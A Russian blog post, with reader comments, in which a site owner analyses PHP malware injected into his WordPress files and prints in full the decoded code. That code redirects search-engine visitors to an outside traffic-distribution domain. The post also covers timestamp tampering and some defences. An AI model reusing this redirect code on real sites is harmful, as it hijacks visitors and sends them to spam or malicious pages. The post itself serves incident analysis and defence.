Сегодня ночью снова пронырливые хакеры ломанули мой сервак 🙁
(На самом деле это очередной втык мне за халатность в безопасности — вроде и знаю какие меры уже давно пора предпринять — НО постоянно, то времени нет, то забываю …)
Сегодня уже думал написать жизненный пост о том, что постить в блог некогда, в связи с приобретением дачного участка, да и тем особых нет — как НА ТЕБЕ — ДЕРЖИ темку для поста 🙂
ИТАК, захожу в админку WP писать пост — а там охрененная куча изменённых файлов — я так понял все php файлы движка WordPress. Кстати, в связи с происшедшим, рекомендую подобные хэш-сравнивалки, устанавливать на все сайты.
Захожу — смотрю глазами — а там в начале блока php сразу за тегом открытия за кучей табуляций (благо их было не так много, чтоб не заметить код)
eval(base64_decode(«…набор символов…»));
причём сволочи зачем то в одном файле по 20-30 раз впаяли … (по вхождению тега начала php кода)
Это значит, что МЕНЯ ПОЛОМАЛИ и внедрили в код чужеродное вкропление — инъекцию зловредного PHP кода!
меняю eval на file_put_contents дабы понять суть php инъекции и вижу следующее
1 2 3 4 5 6 7 8 9 10 11 |
error_reporting(0); $qazplm=headers_sent(); $referer=$_SERVER[‘HTTP_REFERER’]; if (!$qazplm){ $uag=$_SERVER[‘HTTP_USER_AGENT’]; if ($uag) { if (!stristr($uag,«MSIE 7.0»)){ if (stristr($referer,«yahoo») or stristr($referer,«bing») or stristr($referer,«rambler») or stristr($referer,«gogo») or stristr($referer,«live.com»)or stristr($referer,«aport») or stristr($referer,«nigma») or stristr($referer,«webalta») or stristr($referer,«begun.ru») or stristr($referer,«stumbleupon.com») or stristr($referer,«bit.ly») or stristr($referer,«tinyurl.com») or preg_match(«/yandex\.ru\/yandsearch\?(.*?)\&lr\=/»,$referer) or preg_match («/google\.(.*?)\/url\?sa/»,$referer) or stristr($referer,«myspace.com») or stristr($referer,«facebook.com») or stristr($referer,«aol.com»)) { if (!stristr($referer,«cache») or !stristr($referer,«inurl»)){header(«Location: http://9maiak.sellClassics.com/»); exit(); }}}}} |
Поясню суть инъекции — любой поисковый (и не совсем поисковый) трафик этим скриптом перенаправляется на 9maiak.sellClassics.com где какая то система управления трафиком, уже в зависимости от реферера, либо конкретного ключевика, либо …. любого другого фактора перекидывает на какой-то другой, чужой сайт. Например, меня кидало на сайтик «Хочу быть стройной» URL testrrru-online.ru/freshdiet/. По коммерческим ключевикам может быть кинуло куда-нить в другое место…
Для правки взад всех инъекций срочно был написан скрипт, так что кому надо — стучите, объясню как пользоваться.
Далее немного анализа:
С инъекцией прошлись вообще по всем php файлам доступным под запись пользователю под которым работает apache, что говорит о характере взлома — 90% влом был осуществлён через http протокол через какую нибудь уязвимость движка, к сожалению пока не знаю как вычислить «откуда ветер дует».
Время модификации было изменено на 15 декабря 2011 года — заметали следы негодяи! (везде одно и тоже — поэтому можно найти зараженные файлы по этому параметру).
Для защиты от выполнения именно таких инъекций можно запретить eval параметром suhosin патча, но это отдельная песня — в идеале всё же нужно вообще не допускать никаких инъекций.
24 комментария на «“Взлом сайта или «Хочу быть стройной»…”»
Спасибо за информацию, очень полезно такое знать
ничё себе! вот мудаки! ну главное что нашли в чём проблема!
капец, вот оборзевшие люди!
главное что разобрались что и как. Спасибо за инфу
От нехорошие люди! Главное, что быстро все выявили и поправили!
У меня та же проблема не знаю как решить помогите…
с поисковика переходит не на сайт а на какойто сайт «хочу быть стройной» (http://testrrru-online.ru/freshdiet/), как это исправить???
Забыл написать контакты: stuudent@mail.ru или скайп viktor.ever
вот же ж уроды! руки им оторвать мало за такое!
Меня тоже взламывали, не очень приятное явление…
stuudent@mail.ru
тюю. писал не глянувши (не было возможности сразу глянуть), решение очень простое: чистишь от eval(base64_decode(«…набор символов…»)); в файлах шаблона и конфиг.
Спасибо за информацию, буду знать такое. Надо чтото думать над защитой.
А вычислить кто это не получилось? Следы хорошо замели?
Спасибо за информацию, буду теперь опасаться таких случаев.
буду теперь предостерегать взлом. Надо как то будет защитить.
Ого не знал что такое делают, буду теперь осторожнее.
Я в шоке, надо быть поосторожнее с сайтами, не хочу такое чтобы случилось.
Ого не знал что такое случается. Буду аккуратнее теперь
да не круто если такое произойдет. Нужно как то защитить.
Кажеться иньекцияю сложно сделать если отключен вывод об ошибках. Если сайт при ошибке не выдает никаких mysql error и т.д. То ломающему будет сложно …
ставишь php_runkit, переопределяешь названия нужных функций, в данном случае eval-подобных и логируешь что они делают, а если нужно, то автоматом блочишь
если нет прав на runkit делаешь инклюд ко всем пхп-скриптам при помощи php_auto_prepend в .htaccess и пасешь странные запросы по вайт-листу скриптов и параметрам к ним.
последнее — не моё, просто процитировал один комментарий, мне понравившийся
Я же вычисляю сначала по изменённым файлам, далее анализирую логи.
Мой блог тоже недавно ломали, вылечил только перезаливкой всех системных файлов вордпресса
Спасибо за статью, информирован- значит вооружен.